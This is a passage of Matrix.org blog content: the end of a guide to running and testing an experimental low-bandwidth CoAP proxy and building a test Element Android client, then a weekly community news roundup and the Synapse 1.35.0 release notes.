    --tls-cert cert.pem --tls-key private-key.pem \
    --advertise "http://127.0.0.1:8008" \
    --dtls-bind-addr :8008
  • You should see something like this:
    INFO[0000] Listening on :8008/tcp to reverse proxy from http://127.0.0.1:8008 to https://matrix-client.matrix.org - HTTPS enabled: false 
    INFO[0000] Listening for DTLS on :8008 - ACK piggyback period: 5s

Mac users: If you are having trouble generating EC certificates, make sure you are using OpenSSL and not LibreSSL which comes by default: openssl version. To use OpenSSL, brew install openssl which then dumps the binary to /usr/local/opt/openssl/bin/openssl.

To test it is working correctly:

# build command line tools we can use to act as a low bandwidth client
go build ./cmd/jc
go build ./cmd/coap

# do a CoAP GET request to matrix.org via the proxy
./coap -X GET -k 'http://localhost:8008/_matrix/client/versions' | ./jc -c2j '-'

{"unstable_features":{"io.element.e2ee_forced.private":false,"io.element.e2ee_forced.public":false,"io.element.e2ee_forced.trusted_private":false,"org.matrix.e2e_cross_signing":true,"org.matrix.label_based_filtering":true,"org.matrix.msc2432":true,"org.matrix.msc3026.busy_presence":false,"uk.half-shot.msc2666":true},"versions":["r0.0.1","r0.1.0","r0.2.0","r0.3.0","r0.4.0","r0.5.0","r0.6.0"]}

If this doesn't work:

  • Check the proxy logs for errors (e.g bad hostname)
  • Try adding -v to ./coap (e.g bad method or path)
  • Run the proxy with SSLKEYLOGFILE=ssl.log and inspect the decrypted traffic using Wireshark.

Otherwise, congratulations! You now have a low bandwidth proxy! You can connect to your proxy just like you would to matrix.org or any other homeserver.

Security considerations

  • The proxy acts as a man in the middle and can read all non-E2EE traffic, including login credentials. DO NOT USE UNTRUSTED LOW BANDWIDTH PROXY SERVERS. Only use proxy servers run by yourself or the homeserver admins.

Further reading

Setting up a custom Element Android

We'll add low bandwidth matrix to Element Android and iOS by default once it's standardised - but while things are still experimental, here's a guide for how to build Element Android to do it yourself if you feel the urge. This can be used as inspiration for other Matrix clients too.

Prerequisites:

  • Android Studio

Steps:

  • Clone the repo: git clone https://github.com/vector-im/element-android.git
  • Checkout kegan/lb: git checkout kegan/lb. This branch replaces all HTTP traffic going to /_matrix/client/* with LB traffic. /_matrix/media traffic is left untouched. This branch also disables TLS checks entirely so self-signed certificates will work.
  • Clone the low bandwidth repo if you haven't already: git clone https://github.com/matrix-org/lb.git
  • In the low bandwidth repo, build the mobile bindings:
    go get golang.org/x/mobile/cmd/gomobile
    cd mobile
    # if gomobile isn't on your path, then ~/go/bin/gomobile
    gomobile bind -target=android
  • Copy the output files to a directory in the Element Android repo which Gradle will pick up:
    mkdir $PATH_TO_ELEMENT_ANDROID_REPO/matrix-sdk-android/libs
    cp mobile-sources.jar $PATH_TO_ELEMENT_ANDROID_REPO/matrix-sdk-android/libs
    cp mobile.aar $PATH_TO_ELEMENT_ANDROID_REPO/matrix-sdk-android/libs
  • Open the project in Android Studio.
  • Build and run on a device/emulator.
  • Configure the proxy's --advertise address. If you are running on a local device, restart the proxy with an --advertise of your machines LAN IP e.g 192.168.1.2 instead of 127.0.0.1. If you are running on an emulator, restart the proxy with an --advertise of the host IP: 10.0.2.2. The URL scheme should be https not http, else image loading won't work as Element Android won't download media over http.
  • Login to your matrix.org account via the proxy with the --advertise address as the HS URL e.g https://192.168.1.2:8008 or https://10.0.2.2:8008. The port is important.

To verify it is running via low bandwidth:

  • Install Wireshark.
  • Restart the proxy with the environment variable SSLKEYLOGFILE=ssl.log.
  • Run tcpdump on the right interface e.g: sudo tcpdump -i en0 -s 0 -v port 8008 -w lb.pcap
  • Force stop the android app to forcibly close any existing DTLS connections.
  • Re-open the app.
  • Open lb.pcap in Wireshark and set ssl.log as the Pre-Master Secret log filename via Preferences -> Protocols -> TLS -> Pre-Master Secret log filename.
  • Check there is DTLS/CoAP traffic.

Performance

To send a single 'Hello World' message to /room/$room_id/send/m.room.message/$txn_id and receive the response, including connection setup:

ProtocolNum packetsTotal bytes
HTTP2+JSON436533
CoAP+CBOR61440

Limitations

  • CoAP OBSERVE is not enabled by default. This extension allows the server to push data to the client so the client doesn't need to long-poll. It is not yet enabled because of the risk of state synchronisation issues between the proxy and the client. If the proxy gets restarted, the client will not receive sync updates until it refreshes its subscription, which happens infrequently. During this time the client is not aware that anything is wrong.
  • CoAP uses Blockwise Transfer to download large responses. Each block must be ACKed before the next block can be sent. This is less efficient than TCP which has a Receive Window which allows multiple in-flight packets at once. This means CoAP is worse at downloading large responses, requiring more round trips to completely send the data.
  • The current version of /sync sends back much more data than is strictly necessary. This means the initial sync can be slower than expected. On a low kbps link this can flood the network with so much data that the sync stream begins to fall behind. Future work will look to optimise the sync API.
  • The proxy currently doesn't implement the low bandwidth response in /versions.

This Week in Matrix 2021-06-04

2021-06-04 — This Week in Matrix — Ben Parsons

Matrix Live 🎙

Dept of Status of Matrix 🌡️

Wired UK feature article

Wired UK have published a feature on Matrix in their print edition this month. We'll be sure to link to it when it's made available online!

Wired Article

German-universities poll

jfkimmes shared:

I just learned that in a poll of 89 universities in Germany, Matrix ranked third place in the chat category already.

The source is in only available in German, unfortunately: https://zenodo.org/record/4817795

However, the conclusion list (first table) may be understandable from context. It lists the top three solutions per category with their respective number of universities using it.

Oleg clarified:

The evaluation was "which solution are you using".

Florian added:

The Instant Messaging part starts at slide 15, the first chart on that slide is "which solution do you use", the second is "How content are you with the solution?", with Matrix having the best average of all solutions, namely ~8.8/10.

also JCG:

What's also noteworthy: Those using matrix are the happiest with the solution

\o/

Dept of Spec 📜

Spec

anoa offered:

Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals.

MSC Status

New MSCs:

MSCs with proposed Final Comment Period:

  • No MSCs entered proposed FCP state this week.

MSCs in Final Comment Period:

  • No MSCs are in FCP.

Merged MSCs:

  • No MSCs were merged this week.

Spec Updates

This week the Spec Core Team has been reviewing various Spaces MSCs, most recently MSC3230 (Space ordering). We're also hoping to square away the aggregations MSCs (message editing, reactions, etc) once and for all, though this will likely take a concerted effort from a few members to pull off.

Finally MSC3231 is a (currently draft status) MSC from Callum, one of Matrix.org's GSoC students this year! His project aims to allow native token-based registration to homeservers (the idea is so that you can generate a few tokens from your registration-disabled homeserver and hand them out to a few trusted friends and family members).

And finally, work still continues on finishing up the technical portions of the new release process for the spec. As mentioned last week, we've attempted to split the work up over multiple people in order to get it done quicker. Slowly but surely...

2021-06-04-I-r8I-stacked_area_chart.png

Dept of Servers 🏢

Synapse

Synapse is a popular homeserver written in Python.

callahad said:

Hello from the Synapse team! A short update for a short workweek (thanks, bank holidays!):

  • Synapse 1.35 was released this week! The Spaces flag is on by default, a bunch of bugs were fixed, and we've landed many of the prerequisites to eliminating RAM spikes on room joins.

  • 📚 We have new docs! 📚 Anoa converted our docs to build with mdbook (#10086), and you can now browse them at https://matrix-org.github.io/synapse/! Check it out and let us know what you think. (Note: Not all of the pages have been converted from reStructuredText to Markdown yet, so some might render a bit strangely, but the structure is there!)

Catch you next Friday! 👋

2021-06-04-bILM1-image.png

synapse-media-proxy

f0x announced:

Another round of updates on my smart caching media proxy. After refactoring a lot (as always), I implemented thumbnailing! Now the only big feature left to add is url previewing. I also have a test deployment configured on media.pixie.town now, so you can try fetching a bit of remote media through there, or view this submissions screenshot

metrics

Got started implementing a Prometeus /metrics endpoint, with a rudimentary Grafana dashboard for my test installation.

comparison with matrix-media-repo

While they both implement Matrix' media endpoints, they serve rather different niches, where matrix-media-repo fully decouples the media repo aspect, my proxy cooperates with Synapse's filesystem and database, to speed up operation while ultimately making it a seamless drop-in and removal process.

also :P

2021-06-04-WnfPb-image.png

Homeserver Deployment 📥️

Kubernetes

Ananace offered:

And another weekly installment of Kubernetes Helm Chart (and deprecated Docker image) updates, tracking the Synapse releases this week (1.35.0/1).

Dept of Bridges 🌉

Heisenbridge demo video

hifi shared this great demonstation video of Heisenbridge:

Half-Shot hit us late with a pair of updates:

Security release for the matrix-appservice-irc and matrix-appservice-bridge library

Hello. This week we've released an update to the https://github.com/matrix-org/matrix-appservice-bridge/ library containing a security fix for room upgrade handling. The security report will come later, but for now we advise anyone using the room upgrade handler feature to upgrade to 2.6.1. By the same token, we would also advise all IRC bridge admins to update their bridge to 0.26.1.

The Libera.chat bridge is still ongoing

Howdy folks. As you've likely seen over the last few days, we're still hard at work getting the final pegs in place for the libera.chat bridge. As usual, you can start using the bridge now while it's in beta by going to #<foo>:libera.chat, but we're hoping to have the thing stable by next week. Catch us in #libera-matrix:libera.chat for the juicy gossip about it.

matrix-puppeteer-line

Fair reported:

matrix-puppeteer-line: A bridge for LINE Messenger based on running LINE's Chrome extension in Puppeteer.

  • Send a bridge notice when getting unexpectedly logged out of LINE, to warn you to log in again.
  • Improve resiliency of LINE user avatar syncing.
  • Properly support syncing LINE rooms with participants who aren't in your LINE friends list (This was harder than it sounds...!)

These changes (and ones before it) will be merged to master once I reorganize some messy commits.

The next big task is still to fix outbound read receipts (i.e. to make it so that the bridge syncing a message doesn't make your > LINE contacts think you actually read that message). Once that is done, I'll consider the bridge to be in beta.

Discussion: #matrix-puppeteer-line:miscworks.net Issue page: https://src.miscworks.net/fair/matrix-puppeteer-line/issues

Dept of Clients 📱

Thunderbird Matrix support

freaktechnik announced:

Thunderbird now has Matrix support based on matrix-js-sdk enabled in the Nightly builds.

The star feature is probably that we support multiple Matrix accounts in the same client. Right now all your unencrypted rooms with text messages should work fine. While we think we won't destroy your account's state, it's still recommended to use a testing account with it. During account setup, it will ask you for a password, even if the homeserver supports SSO. If you intend to log in through SSO, just leave the password field blank.

We're not quite at the point where we support all the things you love about chatting with Matrix. Many of the missing features and polish to make communication successful are tracked in this meta bug. The goal for that milestone is to enable Matrix in our Beta builds.

You can get a Thunderbird Nightly build at the bottom of thunderbird.net by switching from "Beta Channel" to "Nightly Channel". If you run into bugs with the Matrix integration, please report them through this form. When filing a bug, please include debug logs. You can copy the debug logs for the account by going to the "Show Accounts" dialog, right clicking the account and selecting "Copy Debug Log". Note that the debug log may contain information from any of your conversations, so you might want to check the contents before posting it anywhere.

Also, check out Matrix Live!

NeoChat

Carl Schwan announced:

NeoChat 1.2, our third major release, was released this week bringing many improvements to the timeline and text input component. If you missed it, you can read the announcement here: https://carlschwan.eu/2021/06/01/neochat-1.2-bubbles-better-text-editing-and-more/ and we even have a nice release video :) https://www.youtube.com/watch?v=4lcH4tm6uTk

Other than that, we started working on an integration with KDE web shortcuts functionality to quickly search selected text on the web: https://invent.kde.org/network/neochat/-/merge_requests/279.

2021-06-04-KGrID-image.png

Nheko

Nico (@deepbluev7:neko.dev) told us:

Callum, our GSoC student, after spending some time on Synapse, had now his first go at Nheko's codebase. He implemented, that you can now just enter the server name on registration instead of the full URL. This means entering conduit.rs or matrix.org works now nicely, since those servers are actually hosted at a different URL. He's now working on the Token Registration MSC, which he will implement in Synapse and Nheko, so exciting times ahead!

We also had a small contribution from pcworld, who fixed that if you only viewed the room list in the narrow layout, you would not get notifications for the last selected room.

I'll leave you with some words, that you may have heard a few times already: "Watch this space for next weeks update!"

Fractal

Alexandre Franke reported:

A dozen merge requests have been integrated in our fractal-next branch since last week.

Amongst the more trivial changes, Julian made sure rooms are added to the sidebar in batch (!737) to improve performances, added in-app notifications for invite errors (!760), added a menu entry to leave rooms (!769), and implemented display of user and room avatars (!770). We also gained a right-click-menu entry to display event sources thanks to Kévin (!766).

Element Clients

Updates provided by the teams.

Delight team

  • We’re continuing progress on implementing Blurhash on Web & Android to improve the image loading experience, especially on low bandwidth
  • On Spaces, we’ve started working on the ability to drag and drop to re-order Spaces, along with improving adding aliases to public Spaces

Web

  • 1.7.30 RC on staging
    • Improved layout performance in the timeline and room list
    • Refined the message action bar UI
  • Continuing to improve application performance
    • Recent focus on minimising browser layout work when things change
    • Reducing DOM size
  • Working on Apple silicon desktop builds

iOS

  • 1.4.0 is available on the public TestFlight. We expect to make it available on the App Store on Monday. It has:
    • Performance improvements
    • Crash fixes
    • New languages: Esperanto, Portuguese (Brazil), Kabyle, Norwegian, Swedish, Japanese and Welsh.
    • There are some API breaks in MatrixSDK due to those performance improvements.
    • We have now a MXLog module with log levels! It is now possible to disable all logs from MatrixSDK
  • We continued to work on performance and stability and will continue to for the coming sprint period: https://github.com/vector-im/element-ios/milestone/55

Android

  • 1.1.8 has been released to production, and 1.1.9 has been released to beta on the PlayStore
  • We are currently working with the design team on the light and dark theme of the application, especially colors and text appearance. Lots of cleanup to do...

Hydrogen

A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. https://github.com/vector-im/hydrogen-web/

Bruno announced:

Released Hydrogen 0.1.56 this week, with redactions. In the meantime, I've been making good progress on reactions, which should hopefully get released early next week. Midhun has made good progress on the right panel, ironing out the last bugs.

Here's a sneak preview of reactions (with slow network to show off the local echo animation):

2021-06-04-0GlkZ-hydrogen-reactions-preview.gif

kazv

tusooa reported on kazv:

kazv is a matrix client based on libkazv. Talk to us on #kazv:tusooa.xyz.

Updates

I guess it's a long time from our last twim. Here's what is going on in that time:

kavz

Dept of Events and Talks 🗣️

Matrix @ FrOSCon this year

Oleg said:

On August 21-22 the annual Free and Open Source Conference (short FrOSCon) will take place. Usually the conference takes place in a German University of applied Sciences Bonn Rhine Sieg. This year it will be virtual. On the positive side - we don't need to travel.

As German Matrix community grows this is a great opportunity to meet each other and hack together.

Matrix Dev Room

We are planing to do a virtual Dev Room this year. The idea is to exchange on the latest Matrix development and projects, get to know each other and drink <your_favorite_beverage> (virtually) together. 😉

To make it happen we need your help!

Dev Room is living from talks and workshops - this is your chance to present your Matrix project or to do a workshop!

Language: preferably German, but English is also ok

Submission is until 2021-06-11, but please give us feedback ASAP so we can create a plan now.

If it's your first talk or workshop some free of charge coaching is included. 😉

Also help in organizing the Dev Room (moderation, timekeeping) is needed.

Matrix Open Source booth

It was a great place to chit-chat and to get your in-depth answers regarding Matrix at FOSDEM this year. 👍️

We also planing to have a virtual booth at FrOSCon.

We need your support in answering questions about Matrix or just to have a good time.

Get in touch

If you want to take part please contact @oleg:fiksel.info (or [email protected]) ASAP to add you to the Dev Room participants list.

BTW: we also have a #FrOSCon:fiksel.info room

Dept of Interesting Projects 🛰️

Circles

cvwright reported:

You can also support circles on Kickstarter.

Dept of Ping 🏓

Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by pingbot, a maubot that you can host on your own server.

#ping:maunium.net

Join #ping:maunium.net to experience the fun live, and to find out how to add YOUR server to the game.

RankHostnameMedian MS
1lama-corp.space492
2trolla.us526
3int21.dev569
4fosil.eu727
5d0.ee728
6nordgedanken.dev740.5
7feneas.org805.5
8maescool.be1073.5
9matrix.sp-codes.de1077
10coffespot.com1490

#ping-no-synapse:maunium.net

Join #ping-no-synapse:maunium.net to experience the fun live, and to find out how to add YOUR server to the game.

RankHostnameMedian MS
1dendrite01.fiksel.info1152
2dendrite.s3cr3t.me1386
3weber.world8297.5

That's all I know 🏁

See you next week, and be sure to stop by #twim:matrix.org with your updates!

Synapse 1.35.0 released

2021-06-01 — Releases — Dan Callahan

Synapse 1.35.0 is out! This release focused on improving internals as we drive toward better memory performance during room joins, but more on that below.

Update: Synapse 1.35.1 was published on Thursday, June 3rd. It resolves a bug (#10109) which mistakenly listed invite-only rooms in the Spaces summary.

We'd also like to call the attention of client developers to a deprecation: The unstable prefixes used during development of MSC2858: Multiple SSO Identity Providers will be removed from Synapse 1.38, due out in August. Please ensure your client supports the stable identifiers for this feature.

Spaces: On by Default

Following the successful release of Synapse 1.34, the experimental Spaces flag is now enabled by default. If you had manually enabled the experimental_features: { spaces_enabled: true } flag in your homeserver configuration, you may now remove it.

Bug Squashing

This release of Synapse fixes an issue which could cause federated room joins to fail when the join response exceeded a size limit which was too low (#10082). We've also improved what Synapse logs when it drops a connection in similar circumstances (#10091), which should aid diagnosis if a similar issue were to arise in the future.

GitHub user thermaq contributed a fix (#10014) for a bug which could cause user presence state to become stale.

Lastly our OpenTracing support now allows for profiling end-to-end performance on a per-user basis (#9978).

An Update on Room Joins

We've been hammering away at shrinking Synapse's memory footprint when joining large / complex rooms, and while we're not there yet, the end is in sight! In particular, this release includes many internal refactorings, including using ijson to parse the JSON response to /send_join (#9958), clearing the way for substantial improvements.

Memory usage still spikes because we're effectively doing the same work with a different library, but ijson's design allows for iterative parsing. This will pay dividends once we modify the code downstream of /send_join to take advantage of it.

Concretely, Erik Johnston has an experimental branch of Synapse which completely eliminates the memory spike:

Memory usage graph for Synapse 1.33, 1.35, and an experimental branch

The remaining work is centered on splitting that branch into self-contained, reviewable pull requests, like a rewrite of the Synapse Keyring class (#10035). After that's merged, we'll need to make one further change to properly batch up work, at which point we should attain the efficiency gains from Erik's experiment.

Everything Else

GitHub user savyajha contributed a security hardened systemd unit file which effectively sandboxes Synapse (#9803). While not enabled by default, we'd encourage security conscious users to review the example file and associated documentation.

Please see the Release Notes for a complete list of changes in this release.

Synapse is a Free and Open Source Software project, and we'd like to extend our thanks to everyone who contributed to this release, including dklimpel, jerinjtitus, junquera, lonyeon, savyajha, and thermaq.

NextPage 2